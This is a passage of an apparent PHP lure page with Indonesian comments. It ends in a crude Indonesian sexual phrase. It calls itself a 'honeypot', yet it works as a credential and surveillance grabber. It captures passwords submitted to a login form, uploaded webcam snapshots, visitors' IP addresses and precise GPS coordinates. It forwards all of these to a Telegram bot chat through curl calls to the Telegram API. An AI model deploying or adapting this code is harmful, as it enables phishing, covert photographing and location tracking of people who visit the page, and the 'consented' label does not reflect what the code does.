$chat_id, 'text' => $text, 'parse_mode' => 'HTML']; $ch = curl_init($url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $resp = curl_exec($ch); curl_close($ch); return $resp; } function tg_send_photo($bot_token, $chat_id, $tmp_filepath, $caption = '') { $url = "https://api.telegram.org/bot" . urlencode($bot_token) . "/sendPhoto"; $cfile = new CURLFile($tmp_filepath, mime_content_type($tmp_filepath), basename($tmp_filepath)); $post = ['chat_id' => $chat_id, 'photo' => $cfile, 'caption' => $caption]; $ch = curl_init($url); curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type:multipart/form-data"]); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 15); $resp = curl_exec($ch); curl_close($ch); return $resp; } function build_log_text($extra = []) { global $time_server; $ip = get_client_ip(); $ua = $_SERVER['HTTP_USER_AGENT'] ?? 'UNKNOWN'; $method = $_SERVER['REQUEST_METHOD'] ?? 'GET'; $uri = $_SERVER['REQUEST_URI'] ?? ''; $forwarded = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? null; $lines = []; $lines[] = "šŸ•µļø Honeypot access detected"; $lines[] = "ā° Server time (WIB): " . $time_server; $lines[] = "IP: " . $ip; if ($forwarded) $lines[] = "X-Forwarded-For: " . $forwarded; $lines[] = "Method: " . $method; $lines[] = "URI: " . htmlspecialchars($uri); $lines[] = "UA: " . htmlspecialchars(substr($ua,0,800)); foreach ($extra as $k => $v) { if (is_array($v) || is_object($v)) $v = json_encode($v); $v = (string)$v; $v = str_replace('<','<',$v); $v = str_replace('>','>',$v); $lines[] = "$k: " . htmlspecialchars(substr($v, 0, 1500)); } // cek lat/lng + accuracy $lat = null; $lng = null; $acc = null; if (isset($extra['lat']) && isset($extra['lng'])) { $lat = $extra['lat']; $lng = $extra['lng']; if (isset($extra['accuracy'])) $acc = $extra['accuracy']; } if (isset($extra['payload']['lat']) && isset($extra['payload']['lng'])) { $lat = $extra['payload']['lat']; $lng = $extra['payload']['lng']; if (isset($extra['payload']['accuracy'])) $acc = $extra['payload']['accuracy']; } if ($lat && $lng) { $lines[] = "šŸŒ Lokasi: https://maps.google.com/?q={$lat},{$lng}"; if ($acc) $lines[] = "šŸ“ Akurasi: {$acc} meter"; } return implode("\n", $lines); } // --- Snapshot upload --- if (!empty($_FILES['snapshot']) && is_uploaded_file($_FILES['snapshot']['tmp_name'])) { $tmp = $_FILES['snapshot']['tmp_name']; $client_ts = $_POST['client_time'] ?? null; $lat = $_POST['lat'] ?? null; $lng = $_POST['lng'] ?? null; $acc = $_POST['accuracy'] ?? null; $caption = "šŸ“· Snapshot (consented)\nā° Server: $time_server"; if ($client_ts) $caption .= "\nšŸ•’ Client: $client_ts"; $caption .= "\nIP: " . get_client_ip(); if ($lat && $lng) { $caption .= "\nšŸŒ Lokasi: https://maps.google.com/?q={$lat},{$lng}"; if ($acc) $caption .= "\nšŸ“ Akurasi: {$acc} meter"; } $text = build_log_text([ 'note' => 'Snapshot uploaded', 'POST_keys' => array_keys($_POST), 'lat' => $lat, 'lng' => $lng, 'accuracy' => $acc ]); if (!empty($BOT_TOKEN) && !empty($CHAT_ID)) { tg_send_text($BOT_TOKEN, $CHAT_ID, $text); tg_send_photo($BOT_TOKEN, $CHAT_ID, $tmp, $caption); } header('Content-Type: text/plain; charset=utf-8'); echo "snapshot forwarded"; exit; } // --- JSON body (location, heartbeat, dll) --- $raw = file_get_contents('php://input'); $content_type = $_SERVER['CONTENT_TYPE'] ?? ''; if (stripos($content_type, 'application/json') !== false && $raw !== '') { $json = json_decode($raw, true); $text = build_log_text(['payload' => $json]); if (!empty($BOT_TOKEN) && !empty($CHAT_ID)) { tg_send_text($BOT_TOKEN, $CHAT_ID, $text); } header('Content-Type: text/plain; charset=utf-8'); echo "json logged"; exit; } // --- Password dari form login --- if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) { $password = $_POST['password']; $log = build_log_text(['note' => 'Form submitted', 'password' => $password]); if (!empty($BOT_TOKEN) && !empty($CHAT_ID)) { tg_send_text($BOT_TOKEN, $CHAT_ID, $log); } } ?> AKU PENGEN KENTOTAN